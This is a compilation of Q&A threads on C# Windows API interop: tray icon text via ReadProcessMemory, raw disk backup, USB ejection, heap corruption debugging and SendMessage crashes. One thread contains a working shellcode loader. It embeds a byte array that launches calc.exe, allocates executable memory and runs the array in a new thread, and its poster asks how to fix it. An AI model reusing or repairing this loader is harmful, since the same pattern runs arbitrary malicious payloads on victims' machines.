how to get the tray button text wiht ReadProcessMemory - c#

I want to get all tray icons on windows7(64bit) with C#,but when i used the windows api "ReadProcessMemory" ,the tray button Text can't be recognied.
codes below
IntPtr pid = IntPtr.Zero;
IntPtr ipHandle = IntPtr.Zero;
IntPtr lTextAdr = IntPtr.Zero;
IntPtr ipTray = TrayToolbarWindow32();
WinApiHelper.GetWindowThreadProcessId(ipTray, ref pid);
if (pid.Equals(0))
return iconList;
IntPtr hProcess = WinApiHelper.OpenProcess(WinApiHelper.PROCESS_ALL_ACCESS | WinApiHelper.PROCESS_VM_OPERATION | WinApiHelper.PROCESS_VM_READ | WinApiHelper.PROCESS_VM_WRITE, IntPtr.Zero, pid);
IntPtr lAddress = WinApiHelper.VirtualAllocEx(hProcess, 0, 4096, WinApiHelper.MEM_COMMIT, WinApiHelper.PAGE_READWRITE);
int lButton = WinApiHelper.SendMessage(ipTray, WinApiHelper.TB_BUTTONCOUNT, 0, 0);
for (int i = 0; i < lButton; i++)
{
WinApiHelper.SendMessage(ipTray, WinApiHelper.TB_GETBUTTON, i, lAddress);
WinApiHelper.ReadProcessMemory(hProcess, (IntPtr)(lAddress.ToInt32() + 16), ref lTextAdr, 4, 0);
if (!lTextAdr.Equals(-1))
{
byte[] buff = new byte[ 1024 ];
WinApiHelper.ReadProcessMemory(hProcess, lTextAdr, buff, 1024, 0);
string title = System.Text.ASCIIEncoding.Unicode.GetString(buff);
and api declaration
[DllImport("kernel32", EntryPoint = "ReadProcessMemory")]
public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref IntPtr lpBuffer, int nSize, int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
public static extern bool ReadProcessMemoryEx(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] buffer, IntPtr size, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32", EntryPoint = "ReadProcessMemory")]
public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] lpBuffer, int nSize, int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr nSize, IntPtr lpNumberOfBytesRead);
the problem is here
string title = System.Text.ASCIIEncoding.Unicode.GetString(buff);
when converted , the string "title" can't be recognized,it maybe like
ǎ\0\0\0\0Д\0\0à\0\0ƿ\r\0\0\0\0\0\0\0\0\0\0D:\\Tools\\ESET Smart Security\\egui.exe\0\0\0\0\0\0\0\0\0\0\0\0\0\
i don't know why, help.

You may want to consider what you are doing. ReadProcessMemory is a debug function designed for debuggers which requires SeDebugPrivilege, so I hope you are writing a debugger. Ignoring the queasiness I get from considering use of these functions in a non-debug capacity, you are leaking the buffer you allocated and requiring that your application run as administrator.
If this application is only for your own purposes and for no-one else, then check out the related question Systray Access, as it seems that there is a separate TB_GETBUTTONTEXT message. I imagine that you are actually receiving the button data, rather than text in the copied memory, causing issues.

Related

system.overflow exception in c# while trying to process injection

I'm new at process injection. I'm trying to write my first process injection program in c# but, I always get this error: system.overflow exception
System.OverflowException: 'Arithmetic operation resulted in an overflow'
my code is :
using System;
using System.Runtime.InteropServices;
namespace demo
{
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
int shellcode_size = buf.Length;
IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
Marshal.Copy(buf, 0, init, shellcode_size);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public enum TYPE
{
MEM_COMMIT = 0x00001000
}
public enum PROTECTION
{
PAGE_EXECUTE_READWRITE = 0x40
}
}
}
so, can anyone help me?
I asked this question to chatgpt, it said change the shellcode type to int64(long). but, it didn't work because VirtualAlloc function always wants int32.

WriteFile returns 0 as the number of bytes

I want to be able to copy 4 GBs of data from a drive to a file and restore it. Here's my code:
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
internal extern static IntPtr CreateFile(
String fileName,
int dwDesiredAccess,
FileShare dwShareMode,
IntPtr securityAttrs_MustBeZero,
FileMode dwCreationDisposition,
int dwFlagsAndAttributes,
IntPtr hTemplateFile_MustBeZero);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool GetVolumeInformationByHandleW(
IntPtr hDisk,
StringBuilder volumeNameBuffer,
int volumeNameSize,
ref uint volumeSerialNumber,
ref uint maximumComponentLength,
ref uint fileSystemFlags,
StringBuilder fileSystemNameBuffer,
int nFileSystemNameSize);
// Used to read in a file
[DllImport("kernel32.dll")]
public static extern bool ReadFile(
IntPtr hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
ref uint lpNumberOfBytesRead,
IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
public static extern bool WriteFile(
IntPtr hFile,
byte[] lpBuffer,
uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten,
[In] ref NativeOverlapped lpOverlapped);
// Used to set the offset in file to start reading
[DllImport("kernel32.dll")]
public static extern bool SetFilePointerEx(
IntPtr hFile,
long liDistanceToMove,
ref long lpNewFilePointer,
uint dwMoveMethod);
internal const int GENERIC_READ = unchecked((int)0x80000000);
internal const int FILE_FLAG_BACKUP_SEMANTICS = unchecked((int)0x02000000);
internal const int OPEN_EXISTING = unchecked((int)3);
static void Main(string[] args)
{
IntPtr hDrive = CreateFile(
string.Format("\\\\.\\{0}:", "G"),
GENERIC_READ,
FileShare.Read | FileShare.Write,
IntPtr.Zero,
(FileMode)OPEN_EXISTING,
0,
IntPtr.Zero);
RunBackup(hDrive);
RunRestore(hDrive);
CloseHandle(hDrive);
}
private static void RunRestore(IntPtr handle)
{
// Set offset
uint chunks = 100;
uint bufferSize = 512 * chunks;
long pt = 0;
byte[] buffer = new byte[bufferSize];
SetFilePointerEx(
handle,
0,
ref pt,
0);
long oneGB = 1073741824;
var backupSize = oneGB * 4;
var loops = backupSize / bufferSize;
Console.WriteLine($"Expecting {loops:N0} loops.");
var ol = new NativeOverlapped();
uint written = 0;
using (var reader = new BinaryReader(File.OpenRead(#"D:\\fat.backup")))
{
for (int i = 0; i < loops; i++)
{
reader.Read(buffer);
WriteFile(
handle,
buffer,
bufferSize,
out written,
ref ol);
Console.Write($"\rLoop: {i:N0}");
}
reader.Close();
}
}
private static void RunBackup(IntPtr handle)
{
// Set offset
uint chunks = 100;
uint bufferSize = 512 * chunks;
long pt = 0;
byte[] buffer = new byte[bufferSize];
SetFilePointerEx(
handle,
0,
ref pt,
0);
long oneGB = 1073741824;
var backupSize = oneGB * 4;
var loops = backupSize / bufferSize;
Console.WriteLine($"Expecting {loops:N0} loops.");
uint read = 0;
using (var writer = new BinaryWriter(File.OpenWrite(#"D:\\fat.backup")))
{
for (int i = 0; i < loops; i++)
{
ReadFile(
handle,
buffer,
bufferSize,
ref read,
IntPtr.Zero);
writer.Write(buffer);
writer.Flush();
Console.Write($"\rLoop: {i:N0}");
}
writer.Close();
}
}
}
The backup function seems to be working as expected. However, in the restore part, when the program calls the WriteFile, the written variable is always 0. Am I doing something wrong?
You use the same handle for both routines, and it was opened for read access.
If you open a file for read only, and then use the same handle to write, it's pretty obvious you're going to have problems.
Solution
In order to write to the disk use the CreateFile function like this:
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
internal extern static IntPtr CreateFile(
String fileName,
FileAccess access,
FileShare dwShareMode,
IntPtr securityAttrs_MustBeZero,
FileMode dwCreationDisposition,
int dwFlagsAndAttributes,
IntPtr hTemplateFile_MustBeZero);
IntPtr handle = CreateFile(
string.Format("\\\\.\\{0}:", driveLetter),
(FileAccess)(0x40000000),
(FileShare)0x00000001,
IntPtr.Zero,
FileMode.OpenOrCreate,
0x00000080,
IntPtr.Zero);

MainWindow.CreateFile always returns -1

I'm trying to eject a USB drive in C# after I've copied some files to it.
However, after reading a lot of the examples of how to do that, I can't get anything to work for me.
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr CreateFile
(string filename, uint desiredAccess,
uint shareMode, IntPtr securityAttributes,
int creationDisposition, int flagsAndAttributes,
IntPtr templateFile);
How I'm calling it:
string path = "\\\\.\\" + driveLetter + ":";
IntPtr handle = CreateFile(path, GENERIC_READ | GENERIC_WRITE, 0,
IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
MessageBox.Show(GetLastError().ToString());//gives me zero
My drive letter is K so it just puts that in the string and attempts to open the file (I'm not really sure about that), I'm hoping it will be the drive so that I can eject the USB thumbdrive.
Problem is that handle is always -1
Am I formatting the path string wrong? Or am I using the CreateFile method incorrectly to get a handle to the drive I want to eject?
related:
Eject USB device via C#
Safely remove a USB drive using the Win32 API? (and related links)
Found the answer here (Eject USB device via C#, see Roger Deep's answer)
Short answer:
IntPtr handle = CreateFile(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, 0x3, 0,
IntPtr.Zero);
I have no idea what the difference is, but it gives me the correct handle to the drive and the rest of the code now works!
Long answer, my complete code to remove a USB drive (WPF Window):
private void Button_Click_1(object sender, RoutedEventArgs e)
{
EjectDrive('K');
}
void EjectDrive(char driveLetter)
{
string path = #"\\.\" + driveLetter + #":";
IntPtr handle = CreateFile(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, 0x3, 0, IntPtr.Zero);
if ((long)handle == -1)
{
MessageBox.Show("Unable to open drive " + driveLetter);
return;
}
int dummy = 0;
DeviceIoControl(handle, IOCTL_STORAGE_EJECT_MEDIA, IntPtr.Zero, 0,
IntPtr.Zero, 0, ref dummy, IntPtr.Zero);
CloseHandle(handle);
MessageBox.Show("OK to remove drive.");
}
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr CreateFile
(string filename, uint desiredAccess,
uint shareMode, IntPtr securityAttributes,
int creationDisposition, int flagsAndAttributes,
IntPtr templateFile);
[DllImport("kernel32")]
private static extern int DeviceIoControl
(IntPtr deviceHandle, uint ioControlCode,
IntPtr inBuffer, int inBufferSize,
IntPtr outBuffer, int outBufferSize,
ref int bytesReturned, IntPtr overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);

Detect heap corruption BEFORE garbage collect

I am using CDB (Microsoft Console Debugger,) and WinDbg to try to force a break when heap corruption occurs by P/Invoke into ReadFile. I read many more bytes from a text file than what I've allocated to the chBuf array. The debugger does not see the access violation until after GC.Collect, which is too late for me. Prior to running my program, I run
gflags -p /enable testheap.exe /unaligned
The effect seems useless. I wrote this little test program to apply what I find to debugging a much larger commercial program that is having heap corruption issues.
I have also tried DebugDiag with Application Verifier and MDA callbackOnCollectedDelegate without success. Isn't my use of gflags supposed to detect heap corruption immediately after ReadFile?
The code:
namespace TestHeap
public partial class Form1 : Form
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess,
uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadFile(SafeFileHandle hFile, [Out] byte[] lpBuffer,
uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
string fileName = "testHeap.txt";
const uint GENERIC_READ = 0x80000000;
const uint OPEN_EXISTING = 3;
SafeFileHandle sh;
byte[] chBuf = new byte[8];
public Form1()
{
InitializeComponent();
}
private void testBtn_Click(object sender, EventArgs e)
{
bool nStat;
uint bytesToRead = 1025;
uint bytesRead = 0;
if (!(nStat = ReadFile( sh, chBuf, bytesToRead, out bytesRead, IntPtr.Zero)))
Debug.Print("testBtn_Click error in ReadFile, nStat = {0}", nStat);
MessageBox.Show(string.Format("After ReadFile, bytesToRead = {0},\n bytes read = {1}", bytesToRead, bytesRead));
GC.Collect();
MessageBox.Show("testBtn_Click end, after GC.Collect");
}
private void Form1_Load(object sender, EventArgs e)
{
sh = CreateFile(fileName, GENERIC_READ, 0, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
}
}
Just a guess but I believe the unexpected gflags behaviour is caused by this line:
byte[] chBuf = new byte[8];
Since chBuf is managed by the CLR, gflags is not able to put the fill pattern after it to detect buffer overruns. Try changing that to:
IntPtr chBuf = Marshal.AllocHGlobal(8);
So that you will be allocating in the unmanaged heap. Gflags should be able to work with that. Also, you may need to change the signature of ReadFile for that to work:
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadFile(SafeFileHandle hFile, [Out] IntPtr lpBuffer,
uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);

Calling SendMessage (P/Invoke) keeps crashing

I am having to write an application that communicates with a third-party program (AOL, I'm sorry. :()
Doing a lot of research I found some ways to do this with P/Invoke, and for the most part it works okay, but it crashes upon subsequent trials, specifically with SendMessage. I'm outlining the crashing code below.
All of this was ported to .NET from old, old Visual Basic files. It's archaic as it can be, and I understand if it's not doable - I was just hoping there was a better way than Visual Basic 4.0 to get this done.
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr hwndParent,
IntPtr hwndChildAfter,
string lpszClass,
string lpszWindow);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle,
IntPtr childAfter,
string className,
IntPtr windowTitle);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr SendMessage(HandleRef hWnd,
UInt32 Msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll", EntryPoint="SendMessageW")]
public static extern IntPtr SendMessageByString(HandleRef hWnd,
UInt32 Msg,
IntPtr wParam,
StringBuilder lParam);
[DllImport("user32.dll", CharSet = CharSet.Unicode , EntryPoint = "SendMessageW")]
public static extern IntPtr SendMessageByString(HandleRef hWnd,
UInt32 Msg,
IntPtr wParam,
String lParam);
public IntPtr FindClientWindow()
{
IntPtr aol = IntPtr.Zero;
IntPtr mdi = IntPtr.Zero;
IntPtr child = IntPtr.Zero;
IntPtr rich = IntPtr.Zero;
IntPtr aollist = IntPtr.Zero;
IntPtr aolicon = IntPtr.Zero;
IntPtr aolstatic = IntPtr.Zero;
aol = Invoke.FindWindow("AOL Frame25", null);
mdi = Invoke.FindWindowEx(aol, IntPtr.Zero, "MDIClient", null);
child = Invoke.FindWindowEx(mdi, IntPtr.Zero, "AOL Child", null);
rich = Invoke.FindWindowEx(child, IntPtr.Zero, "RICHCNTL", null);
aollist = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Listbox", null);
aolicon = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Icon", null);
aolstatic = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Static", null);
if (rich != IntPtr.Zero &&
aollist != IntPtr.Zero &&
aolicon != IntPtr.Zero &&
aolstatic != IntPtr.Zero)
return child;
do
{
child = Invoke.FindWindowEx(mdi, child, "AOL Child", null);
rich = Invoke.FindWindowEx(child, IntPtr.Zero, "RICHCNTL", null);
aollist = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Listbox", null);
aolicon = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Icon", null);
aolstatic = Invoke.FindWindowEx(child, IntPtr.Zero, "_AOL_Static", null);
if (rich != IntPtr.Zero &&
aollist != IntPtr.Zero &&
aolicon != IntPtr.Zero &&
aolstatic != IntPtr.Zero)
return child;
}
while (child != IntPtr.Zero)
;
return child;
}
IntPtr room = IntPtr.Zero;
IntPtr child = IntPtr.Zero;
IntPtr length = IntPtr.Zero;
IntPtr roomHandle = IntPtr.Zero;
child = FindClientWindow();
room = FindChildByClass(child, "RICHCNTLREADONLY");
HandleRef n = new HandleRef(IntPtr.Zero, room);
length = SendMessage(n, 0x000E, IntPtr.Zero, IntPtr.Zero);
// This is the line that keeps crashing on me.
SendMessageByString(n, 0x000D, new IntPtr( length.ToInt32() + 1 ), str);
public IntPtr FindChildByClass(IntPtr parent, string child)
{
return Invoke.FindWindowEx(parent, IntPtr.Zero, child, null);
}
You are using the Wide byte SendMessage..ie for Wide Characters, have you tried the normal Sendmessage..
public static extern int SendMessage(IntPtr hWnd, UInt32 Msg, Int32 wParam, Int32 lParam);
I also notice it's like as if you are trying to change the value based on the handle of the richtextbox's control hence the looking around for the AOL's client window in another process...is that correct?
That could be the source of the problem, directly modifying a control that belongs to a window that is not yours (your program is managed, modifying a unmanaged process's window)...that could explain why it crashed. Can you clarify what is the hex constants for?
Edit: When you use the WM_GETTEXTLENGTH and WM_GETTEXT, they are part of the Windows Messages to retrieve the text length and the actual text from the control. If you look here and see what pinvoke.net has to say about them..When you issue a 'SendMessage', with WM_GETTEXTLENGTH and WM_GETTEXT, you are telling Windows - 'Hey, get me the length of the text in that associated handle which I've given you in the parameter n. Just occurred to me, worth trying out...I would get rid of those SendMessage pinvokes and use just this one..
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, StringBuilder lParam);
//If you use '[Out] StringBuilder', initialize the string builder with proper length first.
child = FindClientWindow();
room = FindChildByClass(child, "RICHCNTLREADONLY");
length = SendMessage(n, 0x000E, IntPtr.Zero, IntPtr.Zero);
StringBuilder sbBuf = new StringBuilder(length);
SendMessageByString(room, 0x000D, new IntPtr( length.ToInt32() + 1 ), out sbBuf); // this is the line that keeps crashing on me.
Try that and get back here ... :)
Hope this helps,
Best regards,
Tom.
Did you manage to solve the "Attempted to read or write protected memory." error? t0mm13b's answer seems to allocate a StringBuilder whose buffer is one character too small (to accommodate the trailing '\0').
Here's code that works for me:
[DllImport("user32.dll", EntryPoint = "SendMessage", SetLastError = true)]
private static extern Int32 SendMessageByString(IntPtr wnd, UInt32 msg, Int32 WParam, StringBuilder output);
const int WM_GETTEXTLENGTH = 0x000e;
const int WM_GETTEXT = 0x000d;
public static string GetText(IntPtr hWnd)
{
int len = SendMessageByString(hWnd, WM_GETTEXTLENGTH, 0, null);
var sb = new StringBuilder(len + 1); // +1 is for the trailing '\0'
SendMessageByString(hWnd, WM_GETTEXT, sb.Capacity, sb);
return sb.ToString();
}
I was getting a crash from Marshal.PtrToStringUni(bf) statement in similar situation where SendMessage was returning a "wrong size" for a text length with WM_GETTEXTLENGTH argument (the control class was "RICHEDIT50W"; multi-line text).
I had tried adding 1, 10, 100 (to text length query result) and still would get an error even though (later on) the text length was equal what was returned from the first call (WM_GETTEXTLENGTH).
My solution was: I multiplied the result with 2 then I trimmed it.
I did use Marshal.AllocHGlobal(sz) and then Marshal.Release(bf), so there was no problem with memory efficiency. My guess is that for multi-line texts Marshal.AllocHGlobal(sz) wasn't making enough space in the memory even with exact text size (+1).
Maybe the return character within the text (vbCr, vbLf) requires more memory: I found nothing to explain this isue, but doubling the size worked for me.

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